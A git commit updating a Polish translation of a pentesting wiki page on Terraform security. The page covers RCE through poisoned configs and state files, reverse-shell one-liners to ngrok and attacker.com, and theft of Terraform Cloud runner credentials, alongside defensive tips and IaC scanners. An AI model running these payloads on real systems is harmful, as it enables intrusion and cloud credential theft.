Translated ['src/pentesting-ci-cd/terraform-security.md'] to pl

This commit is contained in:
Translator
2025-08-19 15:32:53 +00:00
parent 6a35b9ec12
commit 021e394727
+103 -21
View File
@@ -6,7 +6,7 @@
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
#### Jak działa Terraform?
@@ -48,7 +48,7 @@ Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, ab
### Terraform plan
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołuje cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używago cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
**Używając zewnętrznego dostawcy**
@@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod terraform rev shell w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
## Zrzuty sekretów
@@ -124,13 +124,13 @@ value = nonsensitive(var.do_token)
```
## Wykorzystywanie plików stanu Terraform
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują interesujące opcje, aby skorzystać z tego pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
### RCE w Terraform: złośliwe modyfikowanie pliku konfiguracyjnego
### RCE w Terraform: zanieczyszczenie pliku konfiguracyjnego
Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy.
Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie proces `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełną demonstrację można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełna demonstracja można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`:
```json
@@ -199,16 +199,90 @@ data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE i eksfiltracja poświadczeń
Ten scenariusz wykorzystuje runnerów Terraform Cloud (TFC) podczas spekulacyjnych planów do przejęcia kontroli nad docelowym kontem w chmurze.
- Warunki wstępne:
- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w formacie tekstowym w `~/.terraform.d/credentials.tfrc.json`.
- Token musi mieć dostęp do docelowej organizacji/obszaru roboczego i przynajmniej uprawnienia `plan`. Obszary robocze oparte na VCS blokują `apply` z CLI, ale nadal pozwalają na spekulacyjne plany.
- Odkryj ustawienia obszaru roboczego i VCS za pomocą API TFC:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Wywołaj wykonanie kodu podczas spekulacyjnego planu, używając zewnętrznego źródła danych i bloku "cloud" Terraform Cloud, aby celować w przestrzeń roboczą opartą na VCS:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
Przykład rsync.sh do uzyskania odwrotnej powłoki na uruchamiaczu TFC:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Uruchom spekulacyjny plan, aby wykonać program na tymczasowym runnerze:
```bash
terraform init
terraform plan
```
- Wymień i wyeksfiltruj wstrzyknięte dane uwierzytelniające chmury z runnera. Podczas uruchamiania, TFC wstrzykuje dane uwierzytelniające dostawcy za pomocą plików i zmiennych środowiskowych:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Oczekiwane pliki w katalogu roboczym runnera:
- GCP:
- `tfc-google-application-credentials` (konfiguracja JSON federacji tożsamości obciążenia)
- `tfc-gcp-token` (token dostępu GCP o krótkim czasie życia)
- AWS:
- `tfc-aws-shared-config` (konfiguracja założenia roli tożsamości webowej/OIDC)
- `tfc-aws-token` (token o krótkim czasie życia; niektóre organizacje mogą używać statycznych kluczy)
- Użyj krótkoterminowych poświadczeń poza pasmem, aby obejść bramy VCS:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Z tymi poświadczeniami, atakujący mogą tworzyć/modyfikować/niszczyć zasoby bezpośrednio za pomocą natywnych interfejsów CLI, omijając przepływy pracy oparte na PR, które blokują `apply` za pośrednictwem VCS.
- Wskazówki obronne:
- Zastosuj zasadę najmniejszych uprawnień dla użytkowników/zespołów TFC i tokenów. Audytuj członkostwa i unikaj zbyt dużych właścicieli.
- Ogranicz uprawnienia `plan` w wrażliwych przestrzeniach roboczych opartych na VCS, gdzie to możliwe.
- Wymuszaj listy dozwolonych dostawców/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych dostawców. Zobacz wskazówki HashiCorp dotyczące filtrowania dostawców.
- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runnerów jako wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i powiadamiaj o podejrzanym użyciu programów `external` podczas planów.
## Narzędzia do automatycznego audytu
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędy konfiguracyjne w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki w zabezpieczeniach i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
- **Funkcje:**
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
- Zautomatyzowane prośby o poprawki.
- Zautomatyzowane pull requesty z poprawkami.
- Szczegółowe porady dotyczące usuwania problemów.
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
```bash
@@ -233,14 +307,14 @@ checkov -d /path/to/folder
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
- **rozwój oparty na zachowaniu:** Mamy BDD dla prawie wszystkiego, dlaczego nie dla IaC?
- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane.
- **podział obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
> [!NOTE]
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -257,8 +331,8 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje
- ↪️ Ocenia funkcje Terraform, np. `concat()`
- 🔗 Ocenia relacje między zasobami Terraform
- 🧰 Kompatybilny z Terraform CDK
- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego
- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego
- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego)
- ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów
```bash
@@ -269,18 +343,18 @@ tfsec /path/to/folder
Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym.
**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na:
Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
- Bezproblemowe skanowanie infrastruktury jako kodu w poszukiwaniu błędnych konfiguracji.
- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian w konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
- Łagodzenie ryzyk przed dostarczeniem infrastruktury natywnej chmurowej.
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
```bash
brew install terrascan
@@ -292,5 +366,13 @@ brew install terrascan
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}